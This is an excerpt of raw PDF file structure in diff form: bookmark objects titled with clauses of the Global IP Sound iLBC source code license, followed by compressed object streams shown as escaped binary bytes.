+44 0 obj<</Parent 42 0 R/Dest[9 0 R/XYZ 0 155 null]/Prev 83 0 R/Title(\xFE\xFFEffect of Termination. Upon termination, You agree to immedi)>>
+endobj
+45 0 obj<</Parent 36 0 R/Dest[9 0 R/XYZ 0 304 null]/Next 42 0 R/Prev 46 0 R/Title(\xFE\xFFOwnership.)>>
+endobj
+46 0 obj<</Parent 36 0 R/Dest[9 0 R/XYZ 0 376 null]/Next 45 0 R/Prev 47 0 R/Title(\xFE\xFFTrademarks.)>>
+endobj
+47 0 obj<</Parent 36 0 R/Dest[9 0 R/XYZ 0 509 null]/Next 46 0 R/Prev 48 0 R/Title(\xFE\xFFLimitation Of Liability.)>>
+endobj
+48 0 obj<</Parent 36 0 R/Dest[9 0 R/XYZ 0 638 null]/Next 47 0 R/Prev 49 0 R/Title(\xFE\xFFNo Warranty Or Support.)>>
+endobj
+49 0 obj<</Count 2/Parent 36 0 R/Dest[1 0 R/XYZ 0 139 null]/First 50 0 R/Last 51 0 R/Next 48 0 R/Prev 52 0 R/Title(\xFE\xFFObligations Regarding Distribution.)>>
+endobj
+50 0 obj<</Parent 49 0 R/Dest[1 0 R/XYZ 0 123 null]/Next 51 0 R/Title(\xFE\xFFDistribution of Executable Versions. You may distribute Cove)>>
+endobj
+51 0 obj<</Parent 49 0 R/Dest[9 0 R/XYZ 0 715 null]/Prev 50 0 R/Title(\xFE\xFFYour Distribution License. You may choose to offer, and to c)>>
+endobj
+52 0 obj<</Count 12/Parent 36 0 R/Dest[1 0 R/XYZ 0 658 null]/First 53 0 R/Last 54 0 R/Next 49 0 R/Prev 55 0 R/Title(\xFE\xFFPermitted Uses, Conditions, and Restrictions.)>>
+endobj
+53 0 obj<</Count 5/Parent 52 0 R/Dest[1 0 R/XYZ 0 643 null]/First 78 0 R/Last 79 0 R/Next 77 0 R/Title(\xFE\xFFGrant. Subject to the terms and conditions of this License, )>>
+endobj
+54 0 obj<</Parent 52 0 R/Dest[1 0 R/XYZ 0 185 null]/Prev 73 0 R/Title(\xFE\xFFDerivative Works. If You create or use a modified version of)>>
+endobj
+55 0 obj<</Count 12/Parent 36 0 R/Dest[465 0 R/XYZ 0 341 null]/First 56 0 R/Last 57 0 R/Next 52 0 R/Prev 58 0 R/Title(\xFE\xFFDefinitions.)>>
+endobj
+56 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 336 null]/Next 72 0 R/Title(\xFE\xFF Covered Code  means any of the Original Code, alone or in c)>>
+endobj
+57 0 obj<</Parent 55 0 R/Dest[1 0 R/XYZ 0 715 null]/Prev 63 0 R/Title(\xFE\xFF You  \(or  Your \) means an individual or legal entity exerci)>>
+endobj
+58 0 obj<</Parent 36 0 R/Dest[465 0 R/XYZ 0 497 null]/Next 55 0 R/Prev 59 0 R/Title(\xFE\xFFiLBC is a trademark of Global IP Sound. All redistribution i)>>
+endobj
+59 0 obj<</Parent 36 0 R/Dest[465 0 R/XYZ 0 522 null]/Next 58 0 R/Prev 60 0 R/Title(\xFE\xFFThe current IETF Standards can also be found at http://www.i)>>
+endobj
+60 0 obj<</Parent 36 0 R/Dest[465 0 R/XYZ 0 569 null]/Next 59 0 R/Prev 61 0 R/Title(\xFE\xFFThe License is available from http://www.globalipsound.com/l)>>
+endobj
+61 0 obj<</Parent 36 0 R/Dest[465 0 R/XYZ 0 584 null]/Next 60 0 R/Prev 62 0 R/Title(\xFE\xFFYou must register this license with GIPS prior to any commer)>>
+endobj
+62 0 obj<</Parent 36 0 R/Dest[465 0 R/XYZ 0 599 null]/Next 61 0 R/Prev 37 0 R/Title(\xFE\xFFYou are provided no warranty or support, and all liability i)>>
+endobj
+63 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 89 null]/Next 57 0 R/Prev 64 0 R/Title(\xFE\xFF Source Code  means the human-readable or other preferred fo)>>
+endobj
+64 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 125 null]/Next 63 0 R/Prev 65 0 R/Title(\xFE\xFF Personal Use  means use of Covered Code by an individual so)>>
+endobj
+65 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 161 null]/Next 64 0 R/Prev 66 0 R/Title(\xFE\xFF Patent Rights  means, where GIPS is the grantor of rights, )>>
+endobj
+66 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 197 null]/Next 65 0 R/Prev 67 0 R/Title(\xFE\xFF Original Code  means \(a\) the iLBC Source Code, including co)>>
+endobj
+67 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 224 null]/Next 66 0 R/Prev 68 0 R/Title(\xFE\xFF Modification  means any change, addition to, or deletion fr)>>
+endobj
+68 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 239 null]/Next 67 0 R/Prev 69 0 R/Title(\xFE\xFF Larger Work  means a work that combines any Covered Code wi)>>
+endobj
+69 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 275 null]/Next 68 0 R/Prev 70 0 R/Title(\xFE\xFF IETF Standard  means the iLBC standard as submitted by GIPS)>>
+endobj
+70 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 290 null]/Next 69 0 R/Prev 71 0 R/Title(\xFE\xFF GIPS  means Global IP Sound Inc. and its officers, director)>>
+endobj
+71 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 305 null]/Next 70 0 R/Prev 72 0 R/Title(\xFE\xFF Executable  means Covered Code in any form other than Sourc)>>
+endobj
+72 0 obj<</Parent 55 0 R/Dest[465 0 R/XYZ 0 321 null]/Next 71 0 R/Prev 56 0 R/Title(\xFE\xFF Deploy  means any use, licensing, or distribution of Covere)>>
+endobj
+73 0 obj<</Parent 52 0 R/Dest[1 0 R/XYZ 0 242 null]/Next 54 0 R/Prev 74 0 R/Title(\xFE\xFFNew Versions. GIPS may publish revised or new versions of th)>>
+endobj
+74 0 obj<</Parent 52 0 R/Dest[1 0 R/XYZ 0 287 null]/Next 73 0 R/Prev 75 0 R/Title(\xFE\xFFYour Grants. In consideration of and as a condition to the l)>>
+endobj
+75 0 obj<</Parent 52 0 R/Dest[1 0 R/XYZ 0 314 null]/Next 74 0 R/Prev 76 0 R/Title(\xFE\xFFRegistration. You must register Your Deployment \(non-persona)>>
+endobj
+76 0 obj<</Parent 52 0 R/Dest[1 0 R/XYZ 0 391 null]/Next 75 0 R/Prev 77 0 R/Title(\xFE\xFFLimitations. Except as expressly stated in Section 2.1, no o)>>
+endobj
+77 0 obj<</Parent 52 0 R/Dest[1 0 R/XYZ 0 448 null]/Next 76 0 R/Prev 53 0 R/Title(\xFE\xFFApplication Of License To Modifications. The Modifications t)>>
+endobj
+78 0 obj<</Parent 53 0 R/Dest[1 0 R/XYZ 0 607 null]/Next 80 0 R/Title(\xFE\xFFPersonal Use: You may use, reproduce, display, perform, modi)>>
+endobj
+79 0 obj<</Parent 53 0 R/Dest[1 0 R/XYZ 0 473 null]/Prev 80 0 R/Title(\xFE\xFFYou may create a Larger Work by combining Covered Code with )>>
+endobj
+80 0 obj<</Count 2/Parent 53 0 R/Dest[1 0 R/XYZ 0 530 null]/First 81 0 R/Last 82 0 R/Next 79 0 R/Prev 78 0 R/Title(\xFE\xFFDeployment: You may use, reproduce, display, perform, modify)>>
+endobj
+81 0 obj<</Parent 80 0 R/Dest[1 0 R/XYZ 0 515 null]/Next 82 0 R/Title(\xFE\xFF1. You must satisfy all the conditions of Section 2.1\(A\), an)>>
+endobj
+82 0 obj<</Parent 80 0 R/Dest[1 0 R/XYZ 0 499 null]/Prev 81 0 R/Title(\xFE\xFF2. Covered Code may be Deployed only in compliance with the )>>
+endobj
+83 0 obj<</Parent 42 0 R/Dest[9 0 R/XYZ 0 201 null]/Next 44 0 R/Prev 43 0 R/Title(\xFE\xFFIf You initiate a patent infringement claim \(excluding decla)>>
+endobj
+84 0 obj<</Parent 38 0 R/Dest[23 0 R/XYZ 0 430 null]/Next 40 0 R/Prev 85 0 R/Title(\xFE\xFFThe current IETF Standards can also be found at http://www.i)>>
+endobj
+85 0 obj<</Parent 38 0 R/Dest[23 0 R/XYZ 0 476 null]/Next 84 0 R/Prev 86 0 R/Title(\xFE\xFFThe License is available from http://www.globalipsound.com/l)>>
+endobj
+86 0 obj<</Parent 38 0 R/Dest[23 0 R/XYZ 0 491 null]/Next 85 0 R/Prev 87 0 R/Title(\xFE\xFFYou must register this license with GIPS prior to any commer)>>
+endobj
+87 0 obj<</Parent 38 0 R/Dest[23 0 R/XYZ 0 507 null]/Next 86 0 R/Prev 88 0 R/Title(\xFE\xFFYou are provided no warranty or support, and all liability i)>>
+endobj
+88 0 obj<</Parent 38 0 R/Dest[23 0 R/XYZ 0 543 null]/Next 87 0 R/Prev 89 0 R/Title(\xFE\xFFCommercialization is permitted with certain limitations; for)>>
+endobj
+89 0 obj<</Parent 38 0 R/Dest[19 0 R/XYZ 0 308 null]/Next 88 0 R/Prev 90 0 R/Title(\xFE\xFFIf You are located in the province of Quebec, Canada, the fo)>>
+endobj
+90 0 obj<</Parent 38 0 R/Dest[19 0 R/XYZ 0 324 null]/Next 89 0 R/Prev 91 0 R/Title(\xFE\xFFEntire Agreement. This License is the parties  entire agreem)>>
+endobj
+91 0 obj<</Parent 38 0 R/Dest[19 0 R/XYZ 0 391 null]/Next 90 0 R/Prev 92 0 R/Title(\xFE\xFFDispute Resolution; Governing Law. This License is governed )>>
+endobj
+92 0 obj<</Parent 38 0 R/Dest[19 0 R/XYZ 0 448 null]/Next 91 0 R/Prev 93 0 R/Title(\xFE\xFFSeverability. If any provision of this License is unenforcea)>>
+endobj
+93 0 obj<</Parent 38 0 R/Dest[19 0 R/XYZ 0 484 null]/Next 92 0 R/Prev 94 0 R/Title(\xFE\xFFWaiver; Construction. Failure by GIPS to enforce any provisi)>>
+endobj
+94 0 obj<</Parent 38 0 R/Dest[19 0 R/XYZ 0 520 null]/Next 93 0 R/Prev 95 0 R/Title(\xFE\xFFIndependent Development. Nothing in this License impairs GIP)>>
+endobj
+95 0 obj<</Parent 38 0 R/Dest[19 0 R/XYZ 0 566 null]/Next 94 0 R/Prev 39 0 R/Title(\xFE\xFFInability To Comply. If it is impossible for You to comply w)>>
+endobj
+96 0 obj<</Length 2229/Filter/FlateDecode/Type/ObjStm/First 893/N 100>>stream
+x\xDA\xE4YKo9\xFE+
+\xECe\xF60n\xBE\xC0 @\xEC\xAC\xE1L2\xB1ayO\x82\x8Aݓh\xA2\xA8
+Y\x9E\x89\xFF\xFD~E[\xA6\xEEq\xB0\xC8eV\xD9ů\xEBM6-\x85mD#\x85ßOF
+\x8DU4/T#%\xC9F6\xD2(\xFCH̚\x88i\xA9im\x83\xC7N0L\x8A\x82w\xF8\x91\x8Di\x89\xC71Ъ\xD8(a\x80\xA3D\xA3\xA4\xC5R\x80*eiF5\xCA\xC8(
+\xC6a\xA92\x8D
+\x9Adl\xA3\xA2 \xC6\xCAj\x91V0j\xA8\xD8hi\xB1\\x8BF\x8C㡦V\x8D\xD6\x93Z\x83!a\x80j\x93\xDBhka\x93v`5\x90\x9D\xA2G@v\xA4\xB3\xB2\xB74@\x800@R\xDE9\x92\xB0r0\xCE2\x8C\x89q\x8D\xA1i\xE0dI/5޶4\xA3IU\xE8mt\x80\xC90\xC9LK\xE8d,\x85\xC7j0\x96\x9C
+dG\xFE\x81*\xC6\xB2\x8BP\xC3ٓW-\x90}\x80\x93<\xEF\x80t@N\xAA: Gd\xA7+\xE0l\xE9dg\x9B\x82\x86\xE0Y\x9A\x96\x83U|G\x99xD\xB8\xB1p=",\xC0\x90\xEB\xBCCvy\xD5XC\x96\xC2\xE9֐\xED\xC8n\x93\xC86ʋ\xC6:Cˁ\xEC\x92\x90\xBD" \xFB\x88Gp\xBA
+p\xBFD<l\xA4W\xC0\x98\xEE(\x9B\xC0\xC0&L\xE3R\xEA\x86R\xDEw\x8Ap\xE0G\xA7\xC88\xC2iJ\xBD\xC1PB"q\x9D\xA1UQ\x82!U#\x90\xAD\xA7 ;z\xEA\xB2@B\xE7`\xAE\x8C@\xF6\x94\xD8\xF8s\x81|K\ 5`\xB6\x8B\xA8\x85\xC0\xB8\x88\x80(\xA4)\xB2\x99\x8B\xFA\xF1\xCA+d\x8C\x81fL\xE3\xEA\xE6\x97_ګǻ\xAE\x9D\xACW7\xEB\xABU\xD7]\xF6\xFD\xBA}\x97\xEAQ4\x97\xED\xC9bv\xFF\xDB\xEC.&M\\xCCV\xDD2I\xA6\xAD\xA7>t\xDF\xD6\xEF\xBAG\x84\xA6\xBD\xEC]^I\xE8\xD5+\xBC\xEA\xDD\xD4 M1B\xD21E$*y\x9C\x9A\xC1ej\x99\xA6	U$3\xCD\xEA\x81f9-\xF9\xB9`*\xCB<\xCBK\xCB4\xBFOE\xA6ȬD}Ɠ\xACUQ\x9A\xB7\x81\xC7\xF9\xB92_\xB2\xDE\xD4\xB5\x92)\xAF\xF7Yΰ<
+\x88\xA9d\xCA\xF6Z\xB6\xDF^\x97\xE8u{\xC7%\x95\xDBI;\xE9n\xD6\xC9\xFA\xD5\xD7ق\xCA2=9\xEBf\xB7\xF3\xE5\xA7Q\xA0\x8D\xB1[s\xA8\xAD\xAC\xF4\x939\xB0\xF1[s\xA8e\x86}x\xF8z?\xA9\xDD&}R\xBFM\x96\xA7\x86\x9B|\x98:n\xD2:\xB5\\xE2l\xEA\xB9Ĺ\xD4t\x89\xF3\xA9\xEBR\xDB%.\xA6\xBE\x9B\x90E꼉\x95\xA9\xF7f\xA6\xEE\x9B]\x9C\xFAo\xF6~\xEA\xC0\xD9\xC1\xA9\x93\x8F\x92\xBE\xE7\xEB\xC5|\x89\xBE\x9B-\xDB\xFF.o\xBB\xD5f\x98\xDD\xD5^\xB4WH\xCB\xE3\xFE[\xFBf\xFEg{\xBA\x9A}\xED2\x87L_\xF6\xEBr\xF8\xF9\xCF\xF2v3\x98|\x9E\xA1(N\xE7\x9FV]\xFBvI\x90\xD5\xD4\xD5\xF9k\xFC\x9D}K\xFD\x9C\xF2\xCC)\xCFL\xEE\xBA\xD5\xFD\xCDj~\xB7\xCE\xEAL>V\xC3\xF5j\xFE\xA5\xEBx\xF8f\xD5ߝ\xCC\xEE\xCAN\xFBŢ\xFF\xAB\xBB=Cu\x92I_\xB2ԓ\x90\xE3\xEF\xE4\xF3l\xC5\xF3\xC5\xDA3\xF94)\xDA3\xF54\xDA3\xFD4\xDA3\xF3\xEA\xD5\xD4p06T\x8DPN\x8E\xD1.-E\xED\xEAb\xE7T،\xB7\xA9>0\xEF\xF67
+N\xDAa\xCC\xCDa3i.10\xE5\xE6\xB9ip\xB3Б\x9BI`\xBD\x85\xDE\x8BjL\xDBh\xA6\x8C\x8A<\xE3p\x93\xD0>\xC9]\xE7\x99+\xA54\xE6\xF3\xE3_/\xDB\xF3\x8F`{\xE5\xFE\xFB	\xAC\xCD\xF5Jm\x82\x9D\x806\xF1\xE1/m6\xE3\x90\xF0\x90\xDCK\xF7\x80\xC4\xFD Cê@\xDC~/^\xA2\x80Ƚ \x80\x84\xCE\xFBA\xD4\xDF\x99\xE2\xE4\xC5\xE1\xE20z\xC3\xE98}\	+\xA7\x83\xE34p,g\xF9\xB9\xE5y˸\xBC\x94^Yƚ\xF7\xCD{\x89\xCE\xED:\xA7\x8B\xD4;\xE5*c#2A6\xCA\xFCp\xAA\x85\xE1\xD3\xEE\xDFQE\xD8\xDAQ\xC5֎\xAA\xAAU\x97b<\xCFŠ\_O\x99\xC1\xC4\xD6֛\x9D\xCA[,\xBBK\xB1;\xBBS\xB1;\xBB[\xB1\xFBU\xC7\xF5t{\xEF\x96\xC6l\x8D\xEDu#\xD43
+(\xEFd\xBC\xB7g\xB35ޡ\xE6\xC0\xBC\xDF\xB6вs\xDBڌ\x9CAJ>\x95\xB3\xE7\xD63\xE5\xF7\x953\xE7%\xD43e<\x9C\xE4\xC0I\x9C\xE4\xC0I\x9C\xE4\xC0I\x9C\xE4\xC0I\x9C\xE4\xC0I_\xCEH\xBA:\xF3p>\xEF\xAFR=\xB4\x8B\xBC\xD9\xE4\xF4fWՅNP{!\xE4 \xC4~\xB5"`"o2\xBB\xFAoC\xD0\xE7/o\xA1\xF4Q\xABJ\xA1’\xEB\xF6\xA4\xDA\xD5/\x86\xFB\xA4\x9E߼\x86 K\xEE\xD0\xEA\xE1\xC4pQ\xA0im\x99ey\xDB\xD7\xE9\x836\xE9ܰQ\xDC\xB5\xEAW\x9C\xB7\xEFg\x8Ft\xA8\xA13כ\xEE\xA6_\xCD\xD6\xF3~\x99|\xB0YS?<\xE9\xFDj*\x8E\xE0\xF3\xFCw]\xB4\xE5\x90mkki\xEBI\xDB\xA4\x86\xA3\xF8\x83\xB4\x9D\xD2]C9\xBB\xD2%\xBE\xB2\x86Z\xA7\x85\xCDyV\xD9\x92\xC9B;XX\x92\xF7\xE9i\xF3\x80\x8Ddz\xFB.\x9Fd翯=\xF8\xD8\xEF\xF5\xB1>\xE4c\x934\x83\xEE\x87fD\xEE\xAD;ڪ\xDAʔF\xDA\xC6\xA9\xADh_\xA3\x88e\xFE\xA2;\xBEG\x9EĺL\xD5a\x9E\xCAa\xF3\xD2/Z\xD8(\x98\xAB\x9C(\xE6=b.\xCEV
+\x92\x8B,/\xCB'ﳋ>\xEEB_\xA6\x9BL\xEEțO\xB5R\xD9R\xA7\xEF\x8F\xFB\xDB\xC7]o\xC8\xF4]W\xD0z[\xD6\xD7\xF5\xA3\xF2\xEEw\xBEH\xAB͡\xD5\xEA\xF9\xD56\xAD\xD6V\x9B\xF0\xECj\xAD\xBE\xB3ܵ~\x91\x87\xB5\xA9ܪ͈\xB8\xAD\xC5툸\xAB\xC5ǔ\xF1\xB5\xB8\x95\xF8Pч\xC4c-\xAE\x9F7\xA2񌑵\xF8\x88g\x8C\xAAĥ׵\xB8\xAF\xA3*G<c\xEA\xA8\xCA1\xCFTQ\x951\x8C\x88\xFBZ<\x8E\x88\xD7Qc\x9E\xA9\xA3*F<c\xAB\xA8ҵ\xEB\xF3\xE2\xB2\xC9H\xABj\xF1\xCFغVÈglU\xE9\xC7t\xA7$\xBD}\xE9^R\xEDg\xAF\xF3O\xCB\xF6\xA4[\xAE\xBBtot\xD3w\xBF\xF7\xAB\xED\xEDH;fN\xB4\xBB\xE1\xCE\xD3w\x92\xBE\xF8\xEC\xEA\xCD \xEF\xCAn㋇\xAE\x86\xCE\xCD7tk\x9E)\xF9B\xF0\xCD\xE3\xE6W\xC7]Q/\xDEX+\xBA\x92nH\x8B\xE9W\xB3\x8F\x8B.\x89\xF7ߦ^\x85 \xBEl\x95\xB1G\xC1\xBB\x88\xF3\x8A5\xF2H\x89\xE8(N\x83m[\xDF\xE0\xA0\xC9z\xB6Z\xBFŖ\xB7\7?\x8B#\x89܎\x96\xAEy\xFBz{\xB1\x80Ͼb\xD4/\xFA\x9B\xE1\x9C^y\x9A\xBFd5;N?\xB1j\xC77\xDC\xE2J\xEF*M\xA9t\x9BC\xAB\xF83\\x95kY\xFE\xE7:?\xB0\x8A˺\xD4k)\xC4Ra\x87V\xFE\xB0\xE3{,.\x81\x92\xDB\xFBW\x95\xCF>
+U\xE4\xF5q\xE3\x87`wH\xF2\x9C\xD1>+/yΪ\xA8\x9F\x95W\x83<\x88FyP\xFE<\xE7R\x8B3ݤ6\xB2\xBD\xEC\xFF\xCA\xDC\xD6i\x9A T.\xA2\xF6\xB8_\xE1\xBC4Y?.\xBA\xE9O\x93~1\xBF\xFD\xF7O\xFAeW\xFD^\xB3\xD8\}\x9E\xDF|Yv\xF7\xF7xh\x9B\x9DC\xE5\xF7\xEB\xF7O0\xEF]\xB9\x94\xA0\xF6\xC5XJl\xB25\x98\x9D\xECȗI\x9E\xABV\xF8g\xE5\xFD \xCF\xF5*\xEC\xB3\xF2a\x90\xE7J\xFA\xA0\xFC\xFF9<\xBBQzq|\xEC\xE2\xF3?]\xB4s
+endstream
+endobj
+97 0 obj<</Length 1217/Filter/FlateDecode/Type/ObjStm/First 876/N 100/Extends 96 0 R>>stream
+x\xDA\xECXMo\xDC6\xFD+zi\x8DH?\x81\xC0\x80?5\x92\xA6\x86wsZ\xE4\xB0\xF5*\xEE"\xDBU\xB0٢\xF5\xBF\xEF\x8A\xA2?$\x92\x83\x93\xF6 \x93\xCBy\xF3\x86\x9CyK\xD2\xD2
+)\xB4t\x82/aBE\x8D1
+\xAD\x8D\xD0
+k1*Av\xA5Y\xC0	\x8A\xC0(#\x8C\xF1\xAD0\x9E;\xE1\xC0\xA1\xE8|U\xCE3>
+\xCF\xFEZ\x8A@\xE0\xD7J~\xADE\x88\xE0\xD7$\xA2\xA13F\xE0\xB5Jo\xC2aA{\xA1\x94\xE2lQ\xC4\xD0\x93\x80 $\x85"\xECP\xE3 \x8A\x98!\x94\xF1\x88C$\x94\x95DB$\\xCAƀ\xD9\xF1\xD1	̎7O`\xF6\x88\xA3Xy\x8BA\x8En\xC09\xBAs\xB4\x8A0*\x840\x9C&Γ\xE1<^q\x9C\x84\xE0\xCCh\xA49m\x97\x88W8\x8C&Q k\x9A\xB3i\x98ò'{Y\xBE$cx\x95=\xB86\x82\xD5\xE2r|@f\xB98`\xF6.مH\xB7vXM\xB9u`\x8E\x9CC\xC4#)\xF1&\xC9{\x86\x99\xD7\x9E\xA4<{A\x9CZ\xED<&i%\xA2\xB41\xE1/^AEɤ\x96CZ\xB3\xE5z0;D{0;ޔ\xB3\xE3z0{\xAE<)\xB0\xC2\xE0@\xE9\xE7*R\xE0S0\x87\x88b\x97\xA1Xi\x9C\x84\xE6\xE8\xADI\xCEjp\x98\xA0\xB0\xECF\xB2|C\xC0\x84\xF5\xA20\x8Aݑ#\xA4A\xA1*\xA3x\x870\xD69r\x83	G\x8F\xB1\x8E\xBCfb ׆8\xEB\xCC\xC4j\x81\xD9\xD6T\x8FrI\xCE(&\x9Cd\xD6X\xC50[\x94\x9A\xEFc#O\xC0\xEC\xB0\xF2\xEAU\xF3k\xF3f}\xD7\xFDyl\xCEv\xDD\xCD\xC7\xD3\xDD\xF6vߜ\xB5\xBAC{r\x92\xCC\xCB\xF5o\xBB\xB69\xEFv\x8BO\xEB\xBDP\xCDu\xF7W?\xCB\xF69\xF7\xE6\xAC;l\xDA\xC3\xE2x\xB7kW?.\xBA\xDDv\xF3b\xDEv\xFB6\xFF}\x9Fq\xD0V\xF2\xA5\xF9\xCB߷7\xF7\xED\xE7\xCF0\xA23\xA4\xAB|\xE1\x93\xF95\xEE1\x85~sݜ\xAE\xB8`\x96\xBA\xC6\xF7\xCD\xEE2J\xC6E\xB3\xBC(x=\xE0!\xEB\x84G\x92kx*x\x97\xF1\xBE\x8A7o2\xDE\xCE\xE2\xBF\xF7\xFA\xFC\xF4g\xFDPo\xD2}\xBD\x89\xEE\xEB\xADG\xFA\xB0\xA1\xE0\xB3^IU\xF1\xB1\xE8;\xEBU\xC7\xDEɂ\xCFz\xD5~\xFF\xBF\xFE\xBE}\xFD\x95\xFEdr\xBF1\xFA\x8D\xEB\xA9\xF4'\x93\xF5j\xA8\x8A\xB7\x9F\xF5jT\xB3^)\xCE\xE2\xBFV}\xFA\x8A|ay䳕\xDF7r<\xF3̎\xC7j\xEC\xBB\xE1UzF\xEE\xA5\xF7\xE6\xB27\xAE\xB4͂\xB6*\x8F\xC3
+\x8A`\xA5\xBCF\xE3ga5c\x9C3\x96D-\x8E\xEB\xC3\xF1r\xBFi\xF7G\xDC,/e\xB3l\xFF~\xFF\xC4\xCF\xCE֋\xF6\xA6;\xAC\x8F\xDBn\xBF\xBC\xFB\xD46\xEF>\xEC\xB6\xFB\xF6\x89q\В\xA3\xD2ml\xEE\xE7\xCD\xDB\xEE\xF0\xC7z\xF7\xA8\xFD\xD28~\xAF\xB1s\xEC\xB0=4P\xE2M\xDB\xEB\x8Dc|\xED\xDD\xFE\xEB\xC0\xFD\xEF\xD30A\x90y#\xAFW\x8A0\xA4\xC0\xBF\x9C_㺼\xB2\xB9\xBA\xFD\xE3\xE8\xC9	\xFD\xE7v\xBD\xD9\xEEo\xD0R\xB3nbts\xD6m\xEE\x9C\xB1}\xF29\xA8䠟:\xA8\x87\xBA\x96\xDD\x9A\xC6\xFC\xDEW\xF9\xCD\xC4T\xD5\xC3NxȪ\x87{\x84X\xF5\xF0\xA1\xEA&<\xEA'\x8F\xAE\xEA\xA1䄋\xAD\xBB\xA8\xB1\x8B7\xF5\x8A{\x9A\x90\xB7O;\xD4\xE0|\x95^\xAF\xF5\xBDU.uz\xCD\xEE\xC7؏!7ѐ\x9Bh\xC8M\xB4\xD5I/\xD8=\xDE\xCE7U\xFE`0
+\v\x95%3\xB1\xAB"\x8EI[\x88[\xA8\xD8|\xC5\xE6*6;o\xF3z\xB03N{9`y?|`,',\xEF\xF7FW\x8EX\x9E\xAC\xCB\x83\xEF\xC7\xC6\xFBS\x86\xB1\xB1((\xD2\xE8_j\xCCՎ6\x8F\xF9$f\xF5\xF4
+iZ\xFC\x81c\x8E9}\x8B
+b\xC5\xE6m\xAET%\xFAq\xC0\x92\xF88Ҥ\xD2}*֚3\xC6\xE8F7\xDEč<\x9Cw\xAE\xD7ˉfoj\xE3\xF6B\xC6\xCD8\xFC#\xC0\xC79\x9BU
+endstream
+endobj
+98 0 obj<</Length 1185/Filter/FlateDecode/Type/ObjStm/First 873/N 100/Extends 96 0 R>>stream
+xڼW\xC1n7\xFD\xBDg$\x91\x92( \xD0&\x871Z\xA3MN\x86F\xBD\x8C:\xDE\xC2p\x81\xFA\xEF\xFB\xA8\xD5j\xB2\x96V\xF7Ѓ-\xADH\xBEy\xE2\xA38\xB2\xC1XC6\xCE\x92ɌA\x8C#\xFD\x99\x8D1\xE4\xAC\xF1D\x9D\xF1\xE21\xE2\xCF'\x8CXK#\xF6c0\x80怖4.\x99`\xD5OL\xA0\x801\x9B\x81\xEF\xAD	Y1\x9C\x89\xE7\xBD\xD6\xDFd$\xE9o6\x92\xF1|L\xD6\xE7\xF8hr\xE5\x99Y\xF0L~֩#ZeJ\x93Wr\x98d\xF8\x927\xCE\x90@ܹgbL\x92:\xE3\xBC\xF2\xA2\x88	\xFE%L\x92:\xEBέ:YቁL\xCEd \x83\xA9c\xDD:\x99\xB1LdN\xD88\x993v\xCE@\xA0M\xE4\xA0\xDC\xC8A\xB0y\xE4\xD9Ep!d\xCAE]9\x9709E\x9D9i\x86\x90%\xA8OP)\xD4\xE4\xACb\x80\x93\xCBQ}\xC4x\xAB\x92\x84\x8C\x89\xF2\x89\xD0\xCBf\xF0\x89\xCC!\xEB?\x8F\x87aB\x98dl:x\xAFI\x8F\xCDz\x8CP\xD9jT\xC2D\xF7\x8EO*d2c\x97\x84MzVi\xE0\x83K@\x8EV\xC8;\xA0\xE4\xA49L@NPFk\xC4'\xCD|\xB2\xA0\xBA\xD4KT\x90E` g%/@ΚL\xAD4\x8B\xD2 ݶU5YN\x9F\xA52@L\xB4\xFAtY\xB4L4\x87Z\xAF\xE0\x81\x89\x90V\xB3&Bw@\xB9\xE8
+\xBBf\xB6jV\x95\x98\xFA\xD4i\xE9%\x96\xA3\xA6\x8E\x87d\xA9\xA9$e\xFF\x90\x9Am\xD9aR\xC8\xE9\x8A\xA0\xBCYYf\xE4\x8F-\xEB\xAA5o\xDF.\x9F\x8C[\xDE/?\xEFnn\xEF\xBE\xFE͖\xCBr\xAC\xF9m\xF9}\xB9\xF8i\xFB\xBC\~5Y޽+\xBF\xEC\xBF\xDD\xDC\xC3^}\x8FK\xA7\xCE\xF4g\xEE\xA9\xE0\x98N\xA8\x84נ\xC7z\x9C\xA1\xA7נ\xCB\x9Dg\xE8\xF9Ui\x84\xEAj\xBF,
+\xAD\xA2~lF\xAE\xC6\xE6\xA2\xD9lL}`<h\xA5\xE6>P&\x81\xE1\x88>zx\xA5mK\xA5\xADF\xAEc\xA8c\xACc\xAA\xA3\xD41F\xB2utu\xACxT\xF1\xA8\xE2Qţ\x8AG\x8F*U<\xAEx\\xF1\xB8\xE2q\xC5\xE3\x8A\xC7G~\xC5\xFFz\xBC\xF3,gw^ogl6\x9E\xD8\xFC\xC4f\xCF\xDBD&\xB6	\x99p\x91	\x99pI.i\xC2%M\xB8$\x9A\x94Y\xAC2F:\xCA5@\x88\xC6a\xC28L\x87	\xE30\xC9^\x98p\xE1<)+N\x93\xC0	Qۈr\xDFP\xB8\xED\x9E\xF9\xA5ѥ\x93N\xE7\x8BWz\xD9\xE9\xDCw\xCD\xCB
+:\xEF\xE1|\x9D\x8B\xD0\xEBǑ\x80\xEF\x84\x9E@\xB0s\xB8V+\xDCՊ\xD3K١+8\xBE@\xFB9t\xEBvl;\xA6n\xC7s\xB8&'u]\xD7\xD9\\x9Cõ\xD2!y	\x97h2E\x8BM\xEA\xDE%ңŹ(\xA9\x8A\xFD\xAE}7־c;\xC8\xD4\xF5\xDD\xD4xE\xEAj9\xCA̘\xCEO뜊\xD3,\xDBW\.\xA5\x85n\xAA\xAF\x89!\xCCrrZ\xD9\\x8E\x92\x9C\xAC\x9F\x86\xC5\xFFFz\xD3\xEA\xF4\x8D\xA7\xA7cp\xB7\xA40/\x8Av\x9C\xA8\xEB<\x83\xF2O\xF3Ӕ\xD6\xD3\xD4\xC9\xCBq\xD7\xE9\xCB\xC1\xE0z\x9E\xBA\xBEă\xBE\x94dP\xD6#\xD5\xF5v\xE6P\xEC`ku\xD4\xF5#\xA6\xA0\xDF\\xAFs]G\xE2AEo\xAEo\xAC\xAE'\xF1\xA0cʖ(\xB2\xBES\xDFH\xF4K\xFBp(\xF1\xB5{\xB8\xF0\xE2\xEBg\xD0\xE8eK\xABܴ\xF2\xB1\xEB$\xF1\xF3\x96Vy\xBD\xC2\xDE\xC1\xC0-\xAD\xF2\xAAUwzh 